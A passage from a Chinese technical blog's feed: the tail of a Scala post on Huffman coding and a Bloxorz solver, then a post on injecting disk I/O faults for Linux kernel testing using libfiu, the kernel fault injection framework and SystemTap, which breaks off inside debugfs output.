tree中出现频数最小的char应该在树中的层越深，所以在merge过程中保持排序</span></div><div class="line">  <span class="keyword">def</span> combine(trees: List[CodeTree]): List[CodeTree] = trees <span class="keyword">match</span> {</div><div class="line">    <span class="keyword">case</span> left :: right :: cs =&gt; (makeCodeTree(left, right) :: cs).sortBy(weight(_))</div><div class="line">    <span class="keyword">case</span> _ =&gt; trees</div><div class="line">  }</div><div class="line"> </div><div class="line">  <span class="keyword">def</span> until(isSingleton: List[CodeTree] =&gt; Boolean, combineTree: List[CodeTree] =&gt; List[CodeTree])</div><div class="line">           (listOfTree: List[CodeTree]): CodeTree = {</div><div class="line">    <span class="keyword">if</span>(isSingleton(listOfTree)) listOfTree.head</div><div class="line">    <span class="keyword">else</span> until(isSingleton, combineTree)(combineTree(listOfTree))</div><div class="line">  }</div><div class="line"> </div><div class="line">  <span class="keyword">def</span> createCodeTree(chars: List[Char]): CodeTree = {</div><div class="line">    until(singleton, combine)(makeOrderedLeafList(times(chars)))</div><div class="line">  }</div><div class="line"> </div><div class="line"><span class="comment">// Decode - 根据生成的树来decode，走到leaf就表示成功decode了一个char</span></div><div class="line">  <span class="keyword">def</span> decode(tree: CodeTree, bits: List[Bit]): List[Char] = {</div><div class="line">    <span class="keyword">def</span> travel(remainingTree: CodeTree, remainingBits: List[Bit]): List[Char] = remainingTree <span class="keyword">match</span> {</div><div class="line">      <span class="keyword">case</span> Leaf(c, _) =&gt; {</div><div class="line">        <span class="keyword">if</span> (remainingBits.isEmpty) List(c)</div><div class="line">        <span class="keyword">else</span> c :: travel(tree, remainingBits)</div><div class="line">      }</div><div class="line">      <span class="keyword">case</span> Fork(left, right, _, _) =&gt; {</div><div class="line">        <span class="keyword">if</span> (remainingBits.head == <span class="number">0</span>) travel(left, remainingBits.tail)</div><div class="line">        <span class="keyword">else</span> travel(right, remainingBits.tail)</div><div class="line">      }</div><div class="line">    }</div><div class="line">    travel(tree, bits)</div><div class="line">  }</div><div class="line"> </div><div class="line"><span class="comment">// Encode - 同理，根据生成的树来encode</span></div><div class="line">  <span class="keyword">def</span> encode(tree: CodeTree)(text: List[Char]): List[Bit] = {</div><div class="line">    <span class="keyword">def</span> lookup(tree: CodeTree)(char: Char): List[Bit] = tree <span class="keyword">match</span> {</div><div class="line">      <span class="keyword">case</span> Leaf(_, _) =&gt; List[Bit]()</div><div class="line">      <span class="keyword">case</span> Fork(left, right, _, _) =&gt; {</div><div class="line">        <span class="keyword">if</span> (chars(left).contains(char)) <span class="number">0</span> :: lookup(left)(char)</div><div class="line">        <span class="keyword">else</span> <span class="number">1</span>::lookup(right)(char)</div><div class="line">      }</div><div class="line">    }</div><div class="line">    <span class="keyword">if</span> (text.length == <span class="number">0</span>) List[Bit]()</div><div class="line">    <span class="keyword">else</span> lookup(tree)(text.head) ::: encode(tree)(text.tail)</div><div class="line">  }</div><div class="line"> </div><div class="line"><span class="comment">// 已经这么长了后面的就不贴了吧，还可以先把codeTree转成一个Map来做快速encode，做做性能优化</span></div><div class="line">...</div></pre></td></tr></table></figure>


<h3 id="Bloxorz">Bloxorz</h3>
<p>这是最后一次作业，用stream来解决一个游戏的解法问题。就那么几行代码，就写出了一个bfs……</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">def</span> from(initial: Stream[(Block, List[Move])],</div><div class="line">         explored: Set[Block]): Stream[(Block, List[Move])] = {</div><div class="line">  <span class="keyword">if</span> (initial.isEmpty) Stream.Empty</div><div class="line">  <span class="keyword">else</span> {</div><div class="line">    <span class="keyword">val</span> more = <span class="keyword">for</span> {</div><div class="line">      (block, moves) &lt;- initial</div><div class="line">      newNeighbor &lt;- newNeighborsOnly(neighborsWithHistory(block, moves), explored)</div><div class="line">    } <span class="keyword">yield</span> newNeighbor</div><div class="line">    initial ++ from(more, explored ++ (more map (x =&gt; x._1)))</div><div class="line">  }</div><div class="line">}</div><div class="line"> </div><div class="line"><span class="keyword">lazy</span> <span class="keyword">val</span> pathsFromStart: Stream[(Block, List[Move])] = from(Stream.cons((startBlock, List()), Stream.Empty), Set(startBlock))</div><div class="line"> </div><div class="line"><span class="keyword">lazy</span> <span class="keyword">val</span> pathsToGoal: Stream[(Block, List[Move])] = pathsFromStart filter (p =&gt; done(p._1))</div><div class="line"> </div><div class="line"><span class="keyword">lazy</span> <span class="keyword">val</span> solution: List[Move] = {</div><div class="line">  <span class="keyword">if</span> (pathsToGoal.isEmpty) List()</div><div class="line">  <span class="keyword">else</span> pathsToGoal.head._2</div><div class="line">}</div></pre></td></tr></table></figure>


<p>当然真实的游戏还有机关什么的会更复杂点……应该很多人都玩过吧，大家可以在<a href="http://www.coolmath-games.com/0-bloxorz/" target="_blank" rel="external">这里</a>重温一下。</p>
<h2 id="终于写完了">终于写完了</h2>
<p>今天真是有意义的一天！</p>
]]></content>
    
    
      <category term="FP" scheme="http://zijie0.github.io/tags/FP/"/>
    
      <category term="Scala" scheme="http://zijie0.github.io/tags/Scala/"/>
    
      <category term="Coursera" scheme="http://zijie0.github.io/tags/Coursera/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[Linux SCSI Fault Injection]]></title>
    <link href="http://zijie0.github.io/2014/06/05/linux-scsi-fault-injection/"/>
    <id>http://zijie0.github.io/2014/06/05/linux-scsi-fault-injection/</id>
    <published>2014-06-05T01:22:12.000Z</published>
    <updated>2015-08-21T07:34:44.000Z</updated>
    <content type="html"><![CDATA[<p>由于在内核测试中需要验证一些容灾故障场景，所以研究了一下Linux下的错误注入方法。目前我们的测试脚本中只用了些非常原始粗暴的命令如去移除scsi device，感觉很不专业！搜索了下万能的谷歌，找到了一篇质量很高的<a href="http://stackoverflow.com/questions/1361518/how-can-i-simulate-a-failed-disk-during-testing" target="_blank" rel="external">StackOverflow回答</a>！然后就是逐项尝试了：</p>
<h2 id="libfiu">libfiu</h2>
<h3 id="简介">简介</h3>
<p><a href="https://github.com/albertito/libfiu" target="_blank" rel="external">libfiu</a>是一个开源的C语言库，可以直接用在项目中添加可控制的错误注入点，也可以直接用它提供的共享库来做<code>POSIX API</code>的错误注入（无需修改已有代码）。从文档来看<code>fiu-run</code>和<code>fiu-ctrl</code>使用起来挺方便的，就照样子试一下吧！</p>
<h3 id="安装">安装</h3>
<p>下载源码，解压，然后</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">$ make && <span class="built_in">sudo</span> make install</div></pre></td></tr></table></figure>

<p>没什么特别的，另外还可以安装python binding</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">$ make python2 && <span class="built_in">sudo</span> make python2_install</div></pre></td></tr></table></figure>

<p>首次运行如果提示找不到so文件可以跑一下</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">$ <span class="built_in">sudo</span> ldconfig</div></pre></td></tr></table></figure>

<h3 id="使用">使用</h3>
<p>直接用文档里的例子来看。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">$ fiu-run -x -c <span class="string">"enable_random name=posix/io/rw/read,probability=1"</span> cat test_fault_injection </div><div class="line">cat: test_fault_injection: File descriptor <span class="keyword">in</span> bad state</div></pre></td></tr></table></figure>

<p>有趣的是重复执行它出来的错误还不一样：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line">$ fiu-run -x -c <span class="string">"enable_random name=posix/io/rw/read,probability=1"</span> cat test_fault_injection </div><div class="line">cat: test_fault_injection: Is a directory</div><div class="line"> </div><div class="line">$ fiu-run -x -c <span class="string">"enable_random name=posix/io/rw/read,probability=1"</span> cat test_fault_injection </div><div class="line">cat: test_fault_injection: Value too large <span class="keyword">for</span> defined data <span class="built_in">type</span></div></pre></td></tr></table></figure>

<p>来用strace看一下</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div></pre></td><td class="code"><pre><div class="line"><span class="number">15</span>:<span class="number">02</span>:<span class="number">53.637634</span> clone(Process <span class="number">10821</span> attached child_stack=<span class="number">0x41310240</span>, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, parent_tidptr=<span class="number">0x413109d0</span>, tls=<span class="number">0x41310940</span>, child_tidptr=<span class="number">0x413109d0</span>) = <span class="number">10821</span> &lt;<span class="number">0.000064</span>&gt;</div><div class="line"><span class="keyword">...</span></div><div class="line">[pid <span class="number">10821</span>] <span class="number">15</span>:<span class="number">02</span>:<span class="number">53.638372</span> open(<span class="string">"/tmp/fiu-ctrl-10820.in"</span>, O_RDONLY &lt;unfinished <span class="keyword">...</span>&gt;</div><div class="line">[pid <span class="number">10820</span>] <span class="number">15</span>:<span class="number">02</span>:<span class="number">53.638433</span> mmap(<span class="literal">NULL</span>, <span class="number">56408368</span>, PROT_READ, MAP_PRIVATE, <span class="number">3</span>, <span class="number">0</span>) = <span class="number">0x7ffc9c686000</span> &lt;<span class="number">0.000035</span>&gt;</div><div class="line">[pid <span class="number">10820</span>] <span class="number">15</span>:<span class="number">02</span>:<span class="number">53.639478</span> close(<span class="number">3</span>)    = <span class="number">0</span> &lt;<span class="number">0.000028</span>&gt;</div><div class="line">[pid <span class="number">10820</span>] <span class="number">15</span>:<span class="number">02</span>:<span class="number">53.639684</span> fstat(<span class="number">1</span>, {st_mode=S_IFCHR|<span class="number">0620</span>, st_rdev=makedev(<span class="number">136</span>, <span class="number">0</span>), <span class="keyword">...</span>}) = <span class="number">0</span> &lt;<span class="number">0.000026</span>&gt;</div><div class="line">[pid <span class="number">10820</span>] <span class="number">15</span>:<span class="number">02</span>:<span class="number">53.639835</span> open(<span class="string">"test_fault_injection"</span>, O_RDONLY) = <span class="number">3</span> &lt;<span class="number">0.007911</span>&gt;</div><div class="line">[pid <span class="number">10820</span>] <span class="number">15</span>:<span class="number">02</span>:<span class="number">53.647831</span> fstat(<span class="number">3</span>, {st_mode=S_IFREG|<span class="number">0664</span>, st_size=<span class="number">130</span>, <span class="keyword">...</span>}) = <span class="number">0</span> &lt;<span class="number">0.000020</span>&gt;</div><div class="line">[pid <span class="number">10820</span>] <span class="number">15</span>:<span class="number">02</span>:<span class="number">53.648029</span> write(<span class="number">2</span>, <span class="string">"cat: "</span>, 5cat: ) = <span class="number">5</span> &lt;<span class="number">0.000023</span>&gt;</div><div class="line">[pid <span class="number">10820</span>] <span class="number">15</span>:<span class="number">02</span>:<span class="number">53.648123</span> write(<span class="number">2</span>, <span class="string">"test_fault_injection"</span>, 20test_fault_injection) = <span class="number">20</span> &lt;<span class="number">0.000022</span>&gt;</div><div class="line"><span class="keyword">...</span></div><div class="line">[pid <span class="number">10820</span>] <span class="number">15</span>:<span class="number">02</span>:<span class="number">53.649916</span> write(<span class="number">2</span>, <span class="string">": Invalid argument"</span>, <span class="number">18</span>: Invalid argument) = <span class="number">18</span> &lt;<span class="number">0.000021</span>&gt;</div><div class="line">[pid <span class="number">10820</span>] <span class="number">15</span>:<span class="number">02</span>:<span class="number">53.650022</span> write(<span class="number">2</span>, <span class="string">"\n"</span>, <span class="number">1</span>) = <span class="number">1</span> &lt;<span class="number">0.000022</span>&gt;</div></pre></td></tr></table></figure>

<p>好像看不出所以然……大致看了下源码，感觉应该是直接fork了一个thread然后在这个thread中设置了注入的错误。</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div></pre></td><td class="code"><pre><div class="line">exit_fail:</div><div class="line">    pthread_setspecific(last_failinfo_key,</div><div class="line">            pf-&gt;failinfo);</div><div class="line">    failnum = pf-&gt;failnum;</div><div class="line"> </div><div class="line">    <span class="keyword">if</span> (pf-&gt;flags & FIU_ONETIME) {</div><div class="line">        pf-&gt;failed_once = <span class="keyword">true</span>;</div><div class="line">        pthread_mutex_unlock(&pf-&gt;lock);</div><div class="line">    }</div><div class="line"> </div><div class="line">    ef_runlock();</div><div class="line">    rec_count--;</div><div class="line">    <span class="keyword">return</span> failnum;</div></pre></td></tr></table></figure>

<p>作为C语言和Linux系统编程小白，艰难地读了这个项目的代码，感觉还是挺有趣的。他写了个python脚本从man page中获取libc和posix中各种API的错误返回等信息，然后再通过这些信息来生成wrapper代码。恩，等我读了<strong>APUE</strong>再来细细学习研究！</p>
<p>在<a href="http://blitiri.com.ar/p/libfiu/doc/posix.html" target="_blank" rel="external">文档</a>中还有一个<code>fiu-run</code>和<code>fiu-ctrl</code>配合使top命令输出为空的例子，体现了这个工具的灵活性。另外在<a href="https://github.com/albertito/libjio/tree/master/tests/stress" target="_blank" rel="external">libjio</a>项目中有使用它的python binding来做一些测试的实例，值得学习！</p>
<h3 id="总结">总结</h3>
<p>主要优势就是简单好用，不用改代码就可以跑了！还提供python的接口。缺点就是它是跑在user space的，而我们主要是想测试kernel本身的稳定性……唔</p>
<h2 id="fsdisk">fsdisk</h2>
<p>这个项目的主页在<a href="http://www.thirdmartini.com/index.php/Linux_Disk_Failure_Simulation_Driver" target="_blank" rel="external">这里</a>。用谷歌一搜基本都是问是不是要找<code>fdisk</code>，好像没什么别人用啊，对于Linux下的驱动还不太了解，所以目前还没有试用它。有兴趣的同学可以按照项目文档用用看。看起来还是满足我们的需要的，只是不清楚它本身会不会带来一些bug之类的问题。</p>
<h2 id="Linux_Kernel_fault_injection_infrastructure">Linux Kernel fault injection infrastructure</h2>
<h3 id="简介-1">简介</h3>
<p>这个是merge进主干内核的项目，所以质量应该还是有保证的，<a href="https://www.kernel.org/doc/Documentation/fault-injection/fault-injection.txt" target="_blank" rel="external">文档地址</a>。</p>
<h3 id="配置">配置</h3>
<p>用这个工具的最大问题是要在内核里打开它然后重新编译安装。下载完源码之后修改<code>.config</code>文件中的如下部分：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line">CONFIG_FAULT_INJECTION=y</div><div class="line">CONFIG_FAILSLAB=y</div><div class="line">CONFIG_FAIL_PAGE_ALLOC=y</div><div class="line">CONFIG_FAIL_MAKE_REQUEST=y</div><div class="line">CONFIG_FAIL_IO_TIMEOUT=y</div><div class="line">CONFIG_FAULT_INJECTION_DEBUG_FS=y</div></pre></td></tr></table></figure>

<p>然后编译安装内核，修改grub，重启系统</p>
<p>起来之后mount一下debugfs</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">$ <span class="built_in">sudo</span> mount -t debugfs none /sys/kernel/debug/</div></pre></td></tr></table></figure>

<p>看看<code>/sys/kernel/debug</code>下各种fail*的目录有没有出现，有了应该就是配置成功啦！</p>
<h3 id="使用-1">使用</h3>
<p>让我们来试用感受一下高大上的原生错误注入！写了个土土的python脚本模拟文件写入动作：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">import</span> time</div><div class="line"> </div><div class="line">raw_input(<span class="string">'press enter to continue'</span>)</div><div class="line">f = open(<span class="string">'test_fault_injection.txt'</span>, <span class="string">'w'</span>)</div><div class="line"><span class="keyword">for</span> x <span class="keyword">in</span> xrange(<span class="number">0</span>, <span class="number">1000</span>):</div><div class="line">    f.write(<span class="string">"test fault injection\n"</span>)</div><div class="line">    f.flush()</div><div class="line">    time.sleep(<span class="number">1</span>)</div><div class="line"> </div><div class="line">f.close()</div></pre></td></tr></table></figure>

<p>原生的fault injection控制粒度只能精确到device+pid 配置方法如下：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line">$ <span class="built_in">cd</span> /sys/kernel/debug/fail_make_request</div><div class="line">$ <span class="built_in">echo</span> Y | <span class="built_in">sudo</span> tee task-filter       <span class="comment"># 开启pid过滤</span></div><div class="line">$ <span class="built_in">echo</span> -<span class="number">1</span> | <span class="built_in">sudo</span> tee times            <span class="comment"># 错误注入次数，-1表示无限</span></div><div class="line">$ <span class="built_in">echo</span> <span class="number">10</span> | <span class="built_in">sudo</span> tee interval         <span class="comment"># 错误注入的间隔，比如每5秒1次</span></div><div class="line">$ <span class="built_in">echo</span> <span class="number">100</span> | <span class="built_in">sudo</span> tee probability     <span class="comment"># 错误注入的概率，范围从0到100</span></div><div class="line">$ <span class="built_in">echo</span> <span class="number">2</span> | <span class="built_in">sudo</span> tee verbose           <span class="comment"># 输出log的级别，范围0到2</span></div></pre></td></tr></table></figure>

<p>接下来就是开启错误注入的激动人心时刻！</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">$ <span class="built_in">echo</span> <span class="number">1</span> | <span class="built_in">sudo</span> tee /sys/block/sda/sda2/make-it-fail</div><div class="line">$ <span class="built_in">echo</span> <span class="number">1</span> | <span class="built_in">sudo</span> tee /proc/<span class="number">14255</span>/make-it-fail</div></pre></td></tr></table></figure>

<p>在我的测试中写到第554行脚本就挂了，报Input/output error</p>
<p>查看一下<code>/var/log/messages</code>日志：</p>
<figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div></pre></td><td class="code"><pre><div class="line">FAULT_INJECTION: forcing a failure</div><div class="line">Pid: <span class="number">14255</span>, comm: python Not tainted <span class="number">2.6</span><span class="number">.32</span>-<span class="number">358.23</span><span class="number">.2</span>.ali_zijie.el5.x86_64</div><div class="line">Call Trace:</div><div class="line"> <span class="annotation">[&lt;ffffffff8126dc06&gt;]</span> ? should_fail+<span class="number">0xd6</span>/<span class="number">0x130</span></div><div class="line"> <span class="annotation">[&lt;ffffffff8123cb8f&gt;]</span> ? generic_make_request+<span class="number">0x19f</span>/<span class="number">0x480</span></div><div class="line"> <span class="annotation">[&lt;ffffffff8123cee9&gt;]</span> ? submit_bio+<span class="number">0x79</span>/<span class="number">0x120</span></div><div class="line"> <span class="annotation">[&lt;ffffffff811ad483&gt;]</span> ? submit_bh+<span class="number">0x103</span>/<span class="number">0x180</span></div><div class="line"> <span class="annotation">[&lt;ffffffff811b0083&gt;]</span> ? __sync_dirty_buffer+<span class="number">0x53</span>/<span class="number">0xe0</span></div><div class="line"> <span class="annotation">[&lt;ffffffff811b0123&gt;]</span> ? sync_dirty_buffer+<span class="number">0x13</span>/<span class="number">0x20</span></div><div class="line"> <span class="annotation">[&lt;ffffffffa00cb604&gt;]</span> ? journal_dirty_data+<span class="number">0x114</span>/<span class="number">0x210</span> [jbd]</div><div class="line"> <span class="annotation">[&lt;ffffffffa00e40f4&gt;]</span> ? ext3_journal_dirty_data+<span class="number">0x24</span>/<span class="number">0x60</span> [ext3]</div><div class="line"> <span class="annotation">[&lt;ffffffffa00e4a8c&gt;]</span> ? journal_dirty_data_fn+<span class="number">0x1c</span>/<span class="number">0x30</span> [ext3]</div><div class="line"> <span class="annotation">[&lt;ffffffffa00e3a86&gt;]</span> ? walk_page_buffers+<span class="number">0x56</span>/<span class="number">0xa0</span> [ext3]</div><div class="line"> <span class="annotation">[&lt;ffffffffa00e4a70&gt;]</span> ? journal_dirty_data_fn+<span class="number">0x0</span>/<span class="number">0x30</span> [ext3]</div><div class="line"> <span class="annotation">[&lt;ffffffffa00e8529&gt;]</span> ? ext3_ordered_write_end+<span class="number">0xa9</span>/<span class="number">0x1a0</span> [ext3]</div><div class="line"> <span class="annotation">[&lt;ffffffff81116016&gt;]</span> ? generic_file_buffered_write+<span class="number">0x186</span>/<span class="number">0x2b0</span></div><div class="line"> <span class="annotation">[&lt;ffffffff811177b2&gt;]</span> ? __generic_file_aio_write+<span class="number">0x272</span>/<span class="number">0x430</span></div><div class="line"> <span class="annotation">[&lt;ffffffff811179ed&gt;]</span> ? generic_file_aio_write+<span class="number">0x7d</span>/<span class="number">0xf0</span></div><div class="line"> <span class="annotation">[&lt;ffffffff8117a312&gt;]</span> ? do_sync_write+<span class="number">0xf2</span>/<span class="number">0x130</span></div><div class="line"> <span class="annotation">[&lt;ffffffff811404a4&gt;]</span> ? handle_mm_fault+<span class="number">0x234</span>/<span class="number">0x2d0</span></div><div class="line"> <span class="annotation">[&lt;ffffffff81095dd0&gt;]</span> ? autoremove_wake_function+<span class="number">0x0</span>/<span class="number">0x40</span></div><div class="line"> <span class="annotation">[&lt;ffffffff810a0175&gt;]</span> ? ktime_get_ts+<span class="number">0xb5</span>/<span class="number">0xf0</span></div><div class="line"> <span class="annotation">[&lt;ffffffff8118fc6b&gt;]</span> ? poll_select_copy_remaining+<span class="number">0xdb</span>/<span class="number">0x140</span></div><div class="line"> <span class="annotation">[&lt;ffffffff81216dc6&gt;]</span> ? security_file_permission+<span class="number">0x16</span>/<span class="number">0x20</span></div><div class="line"> <span class="annotation">[&lt;ffffffff8117ba2c&gt;]</span> ? vfs_write+<span class="number">0xcc</span>/<span class="number">0x1a0</span></div><div class="line"> <span class="annotation">[&lt;ffffffff8117bbe5&gt;]</span> ? sys_write+<span class="number">0x55</span>/<span class="number">0x90</span></div><div class="line"> <span class="annotation">[&lt;ffffffff8100cf72&gt;]</span> ? system_call_fastpath+<span class="number">0x16</span>/<span class="number">0x1b</span></div><div class="line">Buffer I/O error on device sda2, logical block <span class="number">11844973</span></div><div class="line">lost page write due <span class="keyword">to</span> I/O error on sda2</div><div class="line">EXT3-fs: ext3_journal_dirty_data: aborting transaction: IO failure <span class="keyword">in</span> ext3_journal_dirty_data</div><div class="line">EXT3-fs (sda2): error <span class="keyword">in</span> ext3_orphan_add: Readonly filesystem</div><div class="line">EXT3-fs (sda2): error <span class="keyword">in</span> ext3_ordered_write_end: IO failure</div><div class="line">JBD: Detected IO errors <span class="keyword">while</span> flushing file data on sda2</div></pre></td></tr></table></figure>

<p>Kernel级别的错误注入！很好很强大！</p>
<h3 id="总结-1">总结</h3>
<p>总的来说这个方法还是挺好用的，最大的问题是要重新build内核，此外就是错误注入的控制还欠灵活些（相对下面的SystemTap来说）。</p>
<h2 id="SystemTap">SystemTap</h2>
<h3 id="简介-2">简介</h3>
<p>SystemTap的简介，只需要7个字！<strong>狂拽酷炫屌炸天</strong>！自从读了Brendan Gregg大神的&lt;<a href="http://www.amazon.com/Systems-Performance-Enterprise-Brendan-Gregg/dp/0133390098" target="_blank" rel="external">Systems Performance</a>&gt;，DTrace，SystemTap这类的动态追踪工具就成了我眼中的大杀器！第一次实际使用它，我就被其缓慢的启动速度，诡异的报错信息以及强大的破坏力深深地打动了……下面就来详细说一下吧。</p>
<h3 id="配置-1">配置</h3>
<p>在RHEL或者CentOS下的安装应该都比较顺利，可以直接<code>yum install</code>或者从源码编译（版本会比较新）。然后要装一下kernel的debuginfo包，否则直接在地址信息上插入probe有点暴力的……</p>
<p>装完试一下经典的Hello World!</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">$ <span class="built_in">sudo</span> stap -ve <span class="string">'probe begin { println("Hello World") exit () }'</span></div></pre></td></tr></table></figure>

<p>还可以试试这个：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">$ <span class="built_in">sudo</span> stap <span class="operator">-l</span> <span class="string">'kernel.function("scsi_*")'</span></div></pre></td></tr></table></figure>

<p>列出了各种可以获取到的kernel function，之后就可以以此来注入probe啦！</p>
<h3 id="使用-2">使用</h3>
<p>由于对Linux SCSI驱动层面几乎一无所知，所以基本沿用了这个<a href="http://sourceforge.net/projects/scsifaultinjtst/" target="_blank" rel="external">开源项目</a>中的SystemTap代码。从这个项目中也学习到了很多SystemTap的优秀feature:</p>
<ol>
<li>可以直接嵌入C代码，然后就有很多神奇的用法比如霸爷的<a href="http://blog.yufeng.info/archives/826" target="_blank" rel="external">这篇</a>以及<a href="http://blog.yufeng.info/archives/1173" target="_blank" rel="external">这篇</a>博文。</li>
<li>SystemTap的脚本语言也比较直观，可以用-I来加载lib，方便组织代码重用。</li>
<li>Probe的注入点非常灵活，所以对于错误注入的控制粒度也是最细的了，感觉甚至可以用它来帮助观察内核的瞬时call stack以增进对kernel工作原理的理解，比直接看代码更快捷。</li>
</ol>
<p>这个项目也有些年头了，代码一直没有更新，所以拿来直接跑会碰到不少问题：</p>
<ol>
<li>在SystemTap 1.7之后嵌入C代码时函数的参数从<code>THIS-&gt;arg</code>形式改为了<code>STAP_ARG_arg</code>，另外返回值也从<code>THIS-&gt;__retvalue</code>变成了<code>STAP_RETVALUE</code>。碰到临时编译的C代码报错问题时可以在运行stap时加上<code>-k</code>参数，这样自动生成的C代码会在<code>/tmp</code>下保留，方便进一步排查问题。</li>
<li>原来的代码适应的内核版本较老，在2.6.32以后的版本中会报有些struct的成员变量已经不存在的错误，比如<code>drivers/scsi/scsi.c</code>中的<code>$cmd-&gt;request-&gt;sector</code>就找不到了，打开<a href="http://lxr.free-electrons.com/source/include/scsi/scsi_cmnd.h?v=2.6.34#L53" target="_blank" rel="external">lxr</a>查找scsi_cmnd以及request struct的定义，可以看到sector被改成了__sector。更严重的是timeout的错误注入，<code>drivers/scsi/scsi_error.c</code>这个文件中的各个函数都被改得面目全非，所以暂时没有尝试这种错误注入。</li>
<li>我在跑脚本的时候还碰到了找不到那些function的错误，后来发现是因为我们的kernel是把scsi模块直接编译进内核的，所以要在<code>kernel.function</code>里找。默认的编译方式好像是把这些东西编译成module的，因而原先的脚本都是在<code>module(&quot;*&quot;).function</code>里找。</li>
</ol>
<p>由于原脚本的逻辑看起来异常复杂，难以调试，所以我把其中的代码一块一块剥离出来自己拼接使用，为了更好地控制错误注入的方式，比如通过pid，inode，device来过滤需要错误注入的目标，加上失败次数，失败概率等各种常见调控参数，我又以自己拙劣的SystemTap代码能力……历经千辛万苦……从网上找了另一个fault injection的<a href="http://lwn.net/Articles/289932/" target="_blank" rel="external">framework</a>来用…………组装成功后真是简单好用，想怎么注入就怎么注入啊！</p>
<p>先来看下效果：</p>
<p>准备工作</p>
<p>简单起见，我就用读写一个文本文件来做测试了。随便建立一个文件</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">$ <span class="built_in">echo</span> <span class="string">"test fault injection"</span> &gt; test_fault_injection</div></pre></td></tr></table></figure>

<p>在跑脚本时需要指定一下错误注入的目标也就是这个文件的inode号或block号，可以用下面的方法：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div></pre></td><td class="code"><pre><div class="line">$ <span class="built_in">sudo</span> debugfs -R <span class="string">"stat /home/admin/zijie/test_fault_injection"</span> /dev/sda2</div><div class="line">debugfs <span class="number">1.41</span>.<span class="number">12</span> (<span class="number">17</span>-May-<span class="number">2010</span>)</div><div class="line">Inode: <span class="number">2992033</span>   Type: regular    Mode:  <span class="number">0664</span>   Flags: <span class="number">0</span>x0</div><div class="line">Generation: <span class="number">2438482565</span>    Version: <span class="number">0</span>x00000000</div><div class="line">User:   <span class="number">505</span>   Group:   <span class="number">505</span>   Size: <span class="number">130</span></div><div class="line">File ACL: <span class="number">0</span>    Directory ACL: <span class="number">0</span></div><div class="line">Links: <span class="number">1</span>   Blockcount: <span class="number">8</span></div><div class="line">Fragment:  Address: <span class="number">0</span>    Number: <span class="number">0</span>    Size: <span class="number">0</span></div><div class="line">ctime: <span class="number">0</span>x53745b2d -- Thu May <span class="number">15</span> <span class="number">14</span>:<span class="number">14</span>:<span class="number">05</span> <span class="number">2014</span></div><div class="line">atime: <span class="number">0</span>x5390017b -- Thu Jun  <span class="number">5</span> <span class="number">13</span>:<span 